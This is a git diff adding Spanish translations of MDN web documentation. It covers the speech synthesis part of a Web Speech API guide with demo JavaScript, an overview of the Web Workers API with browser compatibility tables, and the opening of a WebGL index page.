+<h4 id="Manejo_de_errores_y_voz_no_reconocida">Manejo de errores y voz no reconocida</h4>
+
+<p>Los dos últimos manejadores son para controlar los casos donde no se reconoce ninguna de las palabras definidas en la gramática, o cuando ocurre un error. {{domxref("SpeechRecognition.onnomatch")}} maneja el primer caso mencionado, pero tenga en cuenta que de momento no parece que se dispare correctamente; solo devuelve lo que ha reconocido:</p>
+
+<pre class="brush: js">recognition.onnomatch = function(event) {
+  diagnostic.textContent = 'I didnt recognise that color.';
+}</pre>
+
+<p>{{domxref("SpeechRecognition.onerror")}} maneja los casos donde se ha producido en error en el reconocimiento  — la propiedad {{domxref("SpeechRecognitionError.error")}} contiene el error devuelto:</p>
+
+<pre class="brush: js">recognition.onerror = function(event) {
+  diagnostic.textContent = 'Error occurred in recognition: ' + event.error;
+}</pre>
+
+<h2 id="Síntesis_de_voz">Síntesis de voz</h2>
+
+<p>La síntesis de voz (también  conocida como texto a voz o tts) implica recibir  contenido en forma de texto dentro de una aplicación y convertirla en voz a través del altavoz del dispositivo o de la conexión de salida del audio.</p>
+
+<p>La Web Speech API tiene una interface principal controladora — {{domxref("SpeechSynthesis")}} — además de una serie de interfaces estrechamente relacionadas para representar  el texto que se va a sintetizar (conocido como dictados 'utterances'), voces que se usarán para los dictados, etc. De nuevo, la mayoría de sistemas operativos disponen de algún sistema de síntesis de voz que pueden serán usados por la API si están disponibles.</p>
+
+<h3 id="Demo_2">Demo</h3>
+
+<p>Para mostrar un uso sencillo de la síntesis de voz Web, tenemos la demo llamada <a href="https://mdn.github.io/web-speech-api/speak-easy-synthesis/">Speak easy synthesis</a>. Esta incluye un juego de controles de formulario para introducir texto a sintetizar, configurar el tono, velocidad de reproducción y la voz a usar cuando el texto sea pronunciado.  Después de introducir el texto se puede presionar <kbd>Enter</kbd>/<kbd>Return</kbd> para escucharlo.</p>
+
+<p><img alt="UI of an app called speak easy synthesis. It has an input field in which to input text to be synthesised, slider controls to change the rate and pitch of the speech, and a drop down menu to choose between different voices." src="https://mdn.mozillademos.org/files/11977/speak-easy-synthesis.png" style="border: 1px solid black; display: block; height: 533px; margin: 0px auto; width: 300px;"></p>
+
+<p>Para ejecutar la demo, se puede clonar (o <a href="https://github.com/mdn/web-speech-api/archive/master.zip">directamente descargar</a>) el repositorio Github donde se encuentra, abrir el fichero index HTML en un navegador de escritorio compatible, o navegar a través del enlace <a href="https://mdn.github.io/web-speech-api/speech-color-changer/">live demo URL</a> en un navegador de móvil compatible como Chrome.</p>
+
+<h3 id="Compatibilidad_de_navegadores_2">Compatibilidad de navegadores</h3>
+
+<p>El soporte para la síntesis de voz Web Speech API solo ha llegado a los navegadores más importantes  y actualmente se limita a los siguientes:</p>
+
+<ul>
+ <li>
+  <p>Firefox para escritorio y dispositivos móviles en Gecko 42+ (Windows)/44+, sin prefijos, y se puede activar configurando el flag <code>media.webspeech.synth.enabled</code> a <code>true</code> en <code>about:config</code>.</p>
+ </li>
+ <li>
+  <p>Firefox OS 2.5+ lo soporta por defecto y sin ser necesario ningún permiso.</p>
+ </li>
+ <li>
+  <p>Chrome para escritorio y  Android tienen soporte desde la versión 33, sin prefijos.</p>
+ </li>
+</ul>
+
+<h3 id="HTML_y_CSS_2">HTML y CSS</h3>
+
+<p>El HTML y CSS de nuevo no son fundamentales, simplemente contiene un titulo, algunas instrucciones de uso y un formulario con algunos controles sencillos. El elemento {{htmlelement("select")}} inicialmente está vacío pero se rellena con {{htmlelement("option")}} mediante JavaScript (ver más adelante.)</p>
+
+<pre class="brush: html">&lt;h1&gt;Speech synthesiser&lt;/h1&gt;
+
+&lt;p&gt;Enter some text in the input below and press return to hear it. change voices using the dropdown menu.&lt;/p&gt;
+
+&lt;form&gt;
+  &lt;input type="text" class="txt"&gt;
+  &lt;div&gt;
+    &lt;label for="rate"&gt;Rate&lt;/label&gt;&lt;input type="range" min="0.5" max="2" value="1" step="0.1" id="rate"&gt;
+    &lt;div class="rate-value"&gt;1&lt;/div&gt;
+    &lt;div class="clearfix"&gt;&lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="pitch"&gt;Pitch&lt;/label&gt;&lt;input type="range" min="0" max="2" value="1" step="0.1" id="pitch"&gt;
+    &lt;div class="pitch-value"&gt;1&lt;/div&gt;
+    &lt;div class="clearfix"&gt;&lt;/div&gt;
+  &lt;/div&gt;
+  &lt;select&gt;
+
+  &lt;/select&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="JavaScript_2">JavaScript</h3>
+
+<p>Analicemos el JavaScript usado en esta app.</p>
+
+<h4 id="Configurar_variables">Configurar variables</h4>
+
+<p>En primer lugar, capturamos las referencias de todos los elementos DOM involucrados en la IU, pero lo más importante es capturar una referencia a  {{domxref("Window.speechSynthesis")}}. Este es el punto de entrada a la API — devuelve una instancia a {{domxref("SpeechSynthesis")}}, la interface controladora para la síntesis de voz en la web.</p>
+
+<pre class="brush: js">var synth = window.speechSynthesis;
+
+var inputForm = document.querySelector('form');
+var inputTxt = document.querySelector('.txt');
+var voiceSelect = document.querySelector('select');
+
+var pitch = document.querySelector('#pitch');
+var pitchValue = document.querySelector('.pitch-value');
+var rate = document.querySelector('#rate');
+var rateValue = document.querySelector('.rate-value');
+
+var voices = [];
+</pre>
+
+<h4 id="Rellenar_el_elemento_select">Rellenar el elemento select </h4>
+
+<p>Para rellenar el elemento {{htmlelement("select")}} con las diferentes opciones de voz del que dispone el dispositivo, hemos escrito la función <code>populateVoiceList()</code>. Primero invocamos {{domxref("SpeechSynthesis.getVoices()")}}, que devuelve una lista de todas las voces disponibles representadas por objetos {{domxref("SpeechSynthesisVoice")}}. Después recorremos esa lista — para cada voz creamos un elemento {{htmlelement("option")}}, establecemos su contenido con el nombre de la voz (desde {{domxref("SpeechSynthesisVoice.name")}}), y el lenguaje de la misma (desde {{domxref("SpeechSynthesisVoice.lang")}}), y <code>-- DEFAULT</code> si la voz es la predeterminada para el motor de síntesis (verificando si {{domxref("SpeechSynthesisVoice.default")}} devuelve <code>true</code>.)</p>
+
+<p>Para cada opción también creamos atributos <code>data-</code>, conteniendo el nombre y lenguaje de la voz asociada, para que más tarde podamos usarlos fácilmente, y después añadimos las opciones 'option' como hijos del select.</p>
+
+<pre class="brush: js">function populateVoiceList() {
+  voices = synth.getVoices();
+
+  for(i = 0; i &lt; voices.length ; i++) {
+    var option = document.createElement('option');
+    option.textContent = voices[i].name + ' (' + voices[i].lang + ')';
+
+    if(voices[i].default) {
+      option.textContent += ' -- DEFAULT';
+    }
+
+    option.setAttribute('data-lang', voices[i].lang);
+    option.setAttribute('data-name', voices[i].name);
+    voiceSelect.appendChild(option);
+  }
+}</pre>
+
+<p>Cuando vamos a ejecutar la función hacemos lo siguiente debido a que Firefox no soporta {{domxref("SpeechSynthesis.onvoiceschanged")}}, y sólo devolverá una lista de voces cuando se ejecute {{domxref("SpeechSynthesis.getVoices()")}}. Sin embargo con Chrome solo hay que esperar a que se active el evento antes de rellenar la lista, de ahí la siguiente parte de código.</p>
+
+<pre class="brush: js">populateVoiceList();
+if (speechSynthesis.onvoiceschanged !== undefined) {
+  speechSynthesis.onvoiceschanged = populateVoiceList;
+}</pre>
+
+<h4 id="Reproduciendo_el_texto_introducido">Reproduciendo el texto introducido</h4>
+
+<p>A continuación, creamos un manejador de eventos para comenzar a reproducir el texto introducido en el campo de texto. Usamos un manejador <a href="/en-US/docs/Web/API/GlobalEventHandlers/onsubmit">onsubmit</a> en el formulario para que la acción ocurra cuando se presione <kbd>Enter</kbd>/<kbd>Return</kbd>. Primero creamos una nueva instancia de  {{domxref("SpeechSynthesisUtterance.SpeechSynthesisUtterance()", "SpeechSynthesisUtterance()")}} usando su constructor — a este se le pasa el valor de la entrada de texto como parámetro.</p>
+
+<p>A continuación, debemos obtener la voz que queremos utilizar. Usamos la propiedad {{domxref("HTMLSelectElement")}} <code>selectedOptions</code> para devolver el elemento seleccionado {{htmlelement("option")}}. Entonces usamos el atributo de este elemento <code>data-name</code>, encontrando el objeto {{domxref("SpeechSynthesisVoice")}} cuyo nombre coincida con el valor del atributo. Y configuramos la propiedad de {{domxref("SpeechSynthesisUtterance.voice")}} con el valor que coincida con la opción seleccionada.</p>
+
+<p>Por último, configuramos {{domxref("SpeechSynthesisUtterance.pitch")}} y {{domxref("SpeechSynthesisUtterance.rate")}} con los valores de los elementos del formulario correspondientes. Entonces y ya configurado todo lo necesario, comenzamos la reproducción invocando  {{domxref("SpeechSynthesis.speak()")}}, y pasándolo a la instancia {{domxref("SpeechSynthesisUtterance")}} como parámetro.</p>
+
+<pre class="brush: js">inputForm.onsubmit = function(event) {
+  event.preventDefault();
+
+  var utterThis = new SpeechSynthesisUtterance(inputTxt.value);
+  var selectedOption = voiceSelect.selectedOptions[0].getAttribute('data-name');
+  for(i = 0; i &lt; voices.length ; i++) {
+    if(voices[i].name === selectedOption) {
+      utterThis.voice = voices[i];
+    }
+  }
+  utterThis.pitch = pitch.value;
+  utterThis.rate = rate.value;
+  synth.speak(utterThis);</pre>
+
+<p>Al final del manejador incluimos un manejador {{domxref("SpeechSynthesisUtterance.onpause")}} para mostrar cómo usar {{domxref("SpeechSynthesisEvent")}}. Cuando se invoca a  {{domxref("SpeechSynthesis.pause()")}},este devuelve un mensaje informando del número y nombre del carácter en el que se detuvo la reproducción.</p>
+
+<pre class="brush: js">   utterThis.onpause = function(event) {
+    var char = event.utterance.text.charAt(event.charIndex);
+    console.log('Speech paused at character ' + event.charIndex + ' of "' +
+    event.utterance.text + '", which is "' + char + '".');
+  }</pre>
+
+<p>Por último, llamamos a <a href="/en-US/docs/Web/API/HTMLElement/blur">blur()</a> en la entrada de texto. Esto permite ocultar la entrada de texto en Firefox OS.</p>
+
+<pre class="brush: js">  inputTxt.blur();
+}</pre>
+
+<h4 id="Actualizando_los_valores_de_tono_y_velocidad_mostrados">Actualizando los valores de tono y velocidad mostrados</h4>
+
+<p>La última parte del código simplemente actualiza los valores <code>pitch</code>/<code>rate</code> mostrados en la IU, cada vez que el slider cambia de posición.</p>
+
+<pre class="brush: js">pitch.onchange = function() {
+  pitchValue.textContent = pitch.value;
+}
+
+rate.onchange = function() {
+  rateValue.textContent = rate.value;
+}</pre>
diff --git a/files/es/web/api/web_workers_api/index.html b/files/es/web/api/web_workers_api/index.html
new file mode 100644
index 0000000000..3a055af3ca
--- /dev/null
+++ b/files/es/web/api/web_workers_api/index.html
@@ -0,0 +1,226 @@
+---
+title: Web Workers API
+slug: Web/API/Web_Workers_API
+translation_of: Web/API/Web_Workers_API
+---
+<p>{{DefaultAPISidebar("Web Workers API")}}</p>
+
+<p class="summary"><strong>Los Web Workers</strong> hacen posible ejecutar la operación de un script en un hilo en segundo plano separado de la ejecución el hilo principal de la aplicación web. La ventaja de esto es que un proceso laborioso puede actuar en un hilo separado, permitiendo al hilo principal (normlamente la UI) ejecutarse sin ser bloqueado o ralentizado.</p>
+
+<h2 id="Web_Workers_conceptos_y_uso">Web Workers conceptos y uso</h2>
+
+<p>Un worker es un objeto que se crea a través del constructor ( {{domxref("Worker.Worker", "Worker()")}}) este ejecuta un archivo javascript — este fichero contiene los scripts que se van a ejecutan en el hilo del worker; los workers se ejecutan en un contexto global diferente al actual del navegador {{domxref("window")}}. Este contexto está representado por el objeto {{domxref("DedicatedWorkerGlobalScope")}} en el caso de los workers dedicados (los workers standard utilizan un solo script; y los shared workers usan {{domxref("SharedWorkerGlobalScope")}}).</p>
+
+<p>Podemos ejecutar los script que necesitemos dentro del hilo del worker, pero con algunas excepciones. Por ejemplo no se puede manipular directamente el DOM, ni usar algunos métodos y propiedades por defecto del objeto {{domxref("window")}}. Pero puede usar un gran número de elementos que están dentro de <code>window</code>, incluyendo <a href="/en-US/docs/WebSockets">WebSockets</a>, y data storage formas de almacenamiento como <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> y solo en Firefox OS <a href="/en-US/docs/Web/API/Data_Store_API">Data Store API</a>.  Mira <a href="/en-US/docs/Web/API/Worker/Functions_and_classes_available_to_workers">Funciones y clases disponibles para workers</a> para saber más.</p>
+
+<p>Los datos se comunican entre los workers y el hilo principal a través de un sistema de mensajes — tanto del hilo principal como del worker para enviar un mensaje se invoca al método <code>postMessage()</code> , y a través del listener del evento <code>onmessage</code> se pueden escuchar los mensajes (El mensaje está dentro de la propiedad <code>data</code> del evento) . Los datos se copian en lugar de compartirse.</p>
+
+<p>Los workers también pueden generar nuevos workers, siempre que los workers estén en la misma página que el principal.  Además, los workers pueden usar <a class="internal" href="/en-US/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code></a> para la network I/O, con la excepción de que los atributos <code>responseXML</code> y <code>channel</code> de <code>XMLHttpRequest</code> siempre retornan valor <code>null</code>.</p>
+
+<p>Ademas de los workers dedicados, hay otro tipo de workers:</p>
+
+<ul>
+ <li>Los Shared workers son workers que pueden ser utilizados por multiples scripts corriendo en diferenes ventanas, IFrames, etc., esto siempre que estén en el mismo dominio que el worker. Son un poco más complejos que los workers dedicados— los scripts deben comunicarse a través de un puerto activo. Mira {{domxref("SharedWorker")}} para mas detalles.</li>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorkers</a> esencialmente actuan como servidores proxy que se ubican entre las aplicaciones web, el navegador y la red (cuando están disponibles). Están destinados (entre otras cosas) para poder manejar experiencias y comportamientos offline, interceptando peticiones de red y tomando la acción apropiada tomando en cuenta si la conexión está disponible y actualizando los assets desde el servidor. También notificaciones push y sincronización desde la API en segundo plano.</li>
+ <li>Chrome Workers es un worker solo de Firefox puedes utilizar si estás desarrollando complementos se puede tener acceso a <a href="https://developer.mozilla.org/en/js-ctypes">js-ctypes</a> en el worker. Mira {{domxref("ChromeWorker")}} para mas detalles. </li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API#Audio_Workers">Audio Workers</a> nos dan la capacidad de procesar audio directamente dentro del contexto del worker.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: Según el <a href="https://html.spec.whatwg.org/multipage/workers.html#runtime-script-errors-2">Web workers Spec</a>, los errores del worker no deberían bubujear (mira {{bug(1188141)}}. Esto está implementado en Firefox 42.</p>
+</div>
+
+<h2 id="Web_Worker_interfaces">Web Worker interfaces</h2>
+
+<dl>
+ <dt>{{domxref("AbstractWorker")}}</dt>
+ <dd>Abstrae todas las propiedades y métodos comunes a toda clase de workers (i.e. {{domxref("Worker")}} or {{domxref("SharedWorker")}}).</dd>
+ <dt>{{domxref("Worker")}}</dt>
+ <dd>Representa el hilo del worker en ejecución, pudiendo pasar mensajes a este.</dd>
+ <dt>{{domxref("WorkerLocation")}}</dt>
+ <dd>Define la ruta absoluta del script que ejecuta el <a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker" title="The Worker interface of the Web Workers API represents a background task that can be easily created and can send messages back to its creator. Creating a worker is as simple as calling the Worker() constructor and specifying a script to be run in the worker thread."><code>Worker</code></a>.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("SharedWorker")}}</dt>
+ <dd>Representa un tipo de worker al que se puede acceder desde distintos contextos de navegación, tanto de varias ventanas, iframes, y otros workers.</dd>
+ <dt>{{domxref("WorkerGlobalScope")}}</dt>
+ <dd>Representa el ámbito genérico de cualquier worker (similar a  {{domxref("Window")}} en un contenido web normal). Los diferentes tipos de workers tienen objetos de ámbito que heredan de esta interfaz y añade características más específicas.</dd>
+ <dt>{{domxref("DedicatedWorkerGlobalScope")}}</dt>
+ <dd>Representa el ámbito de un worker dedicado, hereda de {{domxref("WorkerGlobalScope")}} y añade algunas características.</dd>
+ <dt>{{domxref("SharedWorkerGlobalScope")}}</dt>
+ <dd>Representa el ámbito de un shared worke, hereda de {{domxref("WorkerGlobalScope")}} y añade algunas características.</dd>
+ <dt>{{domxref("WorkerNavigator")}}</dt>
+ <dd>Representa la identidad y estado del user agent (El cliente):</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Hemos creado un par de demostraciones para ver su uso básico:</p>
+
+<ul>
+ <li><a href="https://github.com/mdn/simple-web-worker">Basic dedicated worker example</a> (<a href="http://mdn.github.io/simple-web-worker/">run dedicated worker</a>).</li>
+ <li><a href="https://github.com/mdn/simple-shared-worker">Basic shared worker example</a> (<a href="http://mdn.github.io/simple-shared-worker/">run shared worker</a>).</li>
+</ul>
+
+<p>You can find out more information on how these demos work in <a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Using web workers</a>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#workers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>soporte básico</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.9.1)}}</td>
+   <td>10.0</td>
+   <td>10.6</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Shared workers</td>
+   <td>4</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(29)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.6</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Paso de datos usando structured cloning</td>
+   <td>13</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(8)}}</td>
+   <td>10.0</td>
+   <td>11.5</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Paso de datos usando transferable objects</td>
+   <td>17 {{property_prefix("webkit")}}<br>
+    21</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(18)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Global {{domxref("window.URL", "URL")}}</td>
+   <td>10<sup>[1]</sup><br>
+    23</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(21)}}</td>
+   <td>11</td>
+   <td>15</td>
+   <td>6<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>4.4</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.9.1)}}</td>
+   <td>1.0.1</td>
+   <td>10.0</td>
+   <td>11.5</td>
+   <td>5.1</td>
+  </tr>
+  <tr>
+   <td>Shared workers</td>
+   <td>{{CompatNo}}</td>
+   <td>4</td>
+   <td>{{CompatNo}}</td>
+   <td>29</td>
+   <td>1.4</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Pasando datos usando structured cloning</td>
+   <td>{{CompatNo}}</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>8</td>
+   <td>1.0.1</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Pasando datos usando transferable objects</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>18</td>
+   <td>1.0.1</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] As <code>webkitURL</code>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/basic_usage">Using Web Workers</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker">Worker Interface</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/SharedWorker">SharedWorker interface</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/API/Worker/Functions_and_classes_available_to_workers">Functions and classes available to workers</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/Advanced_concepts_and_examples">Advanced concepts and examples</a></li>
+ <li><a href="/en-US/docs/Web/API/ChromeWorker">ChromeWorker</a>: for using workers in privileged/chrome code</li>
+</ul>
diff --git a/files/es/web/api/webgl_api/index.html b/files/es/web/api/webgl_api/index.html
new file mode 100644
index 0000000000..28d94c22d4
--- /dev/null
+++ b/files/es/web/api/webgl_api/index.html
@@ -0,0 +1,98 @@
+---
+title: WebGL
+slug: Web/API/WebGL_API
+tags:
+  - WebGL
+translation_of: Web/API/WebGL_API
+---
+<div>{{WebGLSidebar}}</div>
+
+<p class="summary"><span class="goog-gtc-unit" id="goog-gtc-unit-3"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">WebGL trae gráficos en 3D para la Web mediante la introducción de una API que cumple estrictamente la OpenGL ES 2.0 que se puede utilizar en elementos </span></span><a href="/en/HTML/Canvas" title="En/html/canvas"><code>canvas</code></a><span class="goog-gtc-unit" id="goog-gtc-unit-3"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr"><a> HTML5.</a></span></span><a> <span class="goog-gtc-unit" id="goog-gtc-unit-4"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">La compatibilidad para WebGL viene en </span></span></a><a href="/es/Firefox_4_para_desarrolladores" title="es/Firefox 4 para desarrolladores">Firefox 4</a> y se puede probar en las <a class="external" href="http://firefox.com/beta" title="http://firefox.com/beta">betas de Firefox 4</a> o en <a class="external" href="http://nightly.mozilla.org/" title="http://nightly.mozilla.org/">trunk builds.</a> .</p>
+
+<div class="note"><span class="goog-gtc-unit" id="goog-gtc-unit-5"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr"><strong>Nota:</strong> La especificación para WebGL se encuentra todavía en fase de borrador y sujeta a cambios.</span></span></div>
+
+<table class="mainpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 id="Temas_sobre_desarrollo"><span class="goog-gtc-unit" id="goog-gtc-unit-6"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Temas sobre desarrollo</span></span></h2>
+
+    <dl>
+     <dt><a href="/en/WebGL/Getting_started_with_WebGL" title="en/WebGL/Getting started with WebGL"><span class="goog-gtc-unit" id="goog-gtc-unit-7"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Primeros pasos con WebGL</span></span></a></dt>
+     <dd><span class="goog-gtc-unit" id="goog-gtc-unit-8"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Cómo crear un contexto WebGL.</span></span></dd>
+     <dt><a href="/en/WebGL/Adding_2D_content_to_a_WebGL_context" title="en/WebGL/Adding 2D content to a WebGL context"><span class="goog-gtc-unit" id="goog-gtc-unit-9"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Adición de contenido 2D a un contexto WebGL</span></span></a></dt>
+     <dd><span class="goog-gtc-unit" id="goog-gtc-unit-10"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Cómo representar formas planas sencillas utilizando WebGL.</span></span></dd>
+     <dt><a href="/en/WebGL/Using_shaders_to_apply_color_in_WebGL" title="en/WebGL/Using shaders to apply color in WebGL"><span class="goog-gtc-unit" id="goog-gtc-unit-11"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Uso de sombreadores para aplicar color en WebGL</span></span></a></dt>
+     <dd><span class="goog-gtc-unit" id="goog-gtc-unit-12"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Muestra cómo agregar color a las formas mediante sombreadores.</span></span></dd>
+     <dt><a href="/en/WebGL/Animating_objects_with_WebGL" title="en/WebGL/Animating objects with WebGL"><span class="goog-gtc-unit" id="goog-gtc-unit-13"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Animación de objetos con WebGL</span></span></a></dt>
+     <dd><span class="goog-gtc-unit" id="goog-gtc-unit-14"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Muestra cómo rotar y trasladar los objetos para crear animaciones sencillas.</span></span></dd>
+     <dt><a href="/en/WebGL/Creating_3D_objects_using_WebGL" title="en/WebGL/Creating 3D objects using WebGL"><span class="goog-gtc-unit" id="goog-gtc-unit-15"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Creación de objetos 3D utilizando WebGL</span></span></a></dt>
+     <dd><span class="goog-gtc-unit" id="goog-gtc-unit-16"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Muestra cómo crear y animar un objeto 3D (en este caso, un cubo).</span></span></dd>
+     <dt><a href="/en/WebGL/Using_textures_in_WebGL" title="en/WebGL/Using textures in WebGL"><span class="goog-gtc-unit" id="goog-gtc-unit-17"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Uso de texturas en WebGL</span></span></a></dt>
+     <dd><span class="goog-gtc-unit" id="goog-gtc-unit-18"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Muestra cómo asignar texturas a las caras de un objeto.</span></span></dd>
+     <dt><a href="/en/WebGL/Lighting_in_WebGL" title="en/WebGL/Lighting in WebGL"><span class="goog-gtc-unit" id="goog-gtc-unit-19"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Iluminación en WebGL</span></span></a></dt>
+     <dd><span class="goog-gtc-unit" id="goog-gtc-unit-20"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Cómo simular efectos de iluminación en tu contexto WebGL.</span></span></dd>
+     <dt><a href="/en/WebGL/Animating_textures_in_WebGL" title="en/WebGL/Animating textures in WebGL"><span class="goog-gtc-unit" id="goog-gtc-unit-21"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Animación de texturas en WebGL</span></span></a></dt>
+     <dd><span class="goog-gtc-unit" id="goog-gtc-unit-22"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Se muestra cómo animar texturas, en este caso, mediante la asignación de un vídeo Ogg a las caras de un cubo que gira.</span></span></dd>
+    </dl>
+   </td>
+   <td>
+    <h2 id="Recursos"><span class="goog-gtc-unit" id="goog-gtc-unit-23"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Recursos</span></span></h2>
+
+    <dl>
+     <dt><a class="link-https" href="https://cvs.khronos.org/svn/repos/registry/trunk/public/webgl/doc/spec/WebGL-spec.html" title="https://cvs.khronos.org/svn/repos/registry/trunk/public/webgl/doc/spec/WebGL-spec.html"><span class="goog-gtc-unit" id="goog-gtc-unit-24"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Especificación WebGL (Borrador de trabajo)</span></span></a></dt>
+     <dd><span class="goog-gtc-unit" id="goog-gtc-unit-25"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">El borrador de la especificación WebGL.</span></span></dd>
+     <dt><a class="external" href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/"><span class="goog-gtc-unit" id="goog-gtc-unit-26"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Sitio de Khronos WebGL</span></span></a></dt>
+     <dd><span class="goog-gtc-unit" id="goog-gtc-unit-27"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">El sitio web principal de WebGL en el Grupo Khronos.</span></span></dd>
+     <dt><a class="external" href="http://learningwebgl.com/blog/" title="http://learningwebgl.com/blog/"><span class="goog-gtc-unit" id="goog-gtc-unit-28"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Aprender WebGL</span></span></a></dt>
+     <dd><span class="goog-gtc-unit" id="goog-gtc-unit-29"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Un sitio con tutoriales sobre cómo usar WebGL.</span></span></dd>
+     <dt><a class="external" href="http://learningwebgl.com/cookbook/index.php/" title="http://learningwebgl.com/cookbook/index.php/"><span class="goog-gtc-unit" id="goog-gtc-unit-30"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">La guía práctica de WebGL</span></span></a></dt>
+     <dd><span class="goog-gtc-unit" id="goog-gtc-unit-31"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Un sitio web con recetas muy útiles para escribir código WebGL.</span></span></dd>
+     <dt><a class="external" href="http://sylvester.jcoglan.com/" title="http://sylvester.jcoglan.com/"><span class="goog-gtc-unit" id="goog-gtc-unit-32"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Sylvester</span></span></a></dt>
+     <dd><span class="goog-gtc-unit" id="goog-gtc-unit-33"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Una biblioteca de código abierto para la manipulación de vectores y matrices.</span></span></dd>
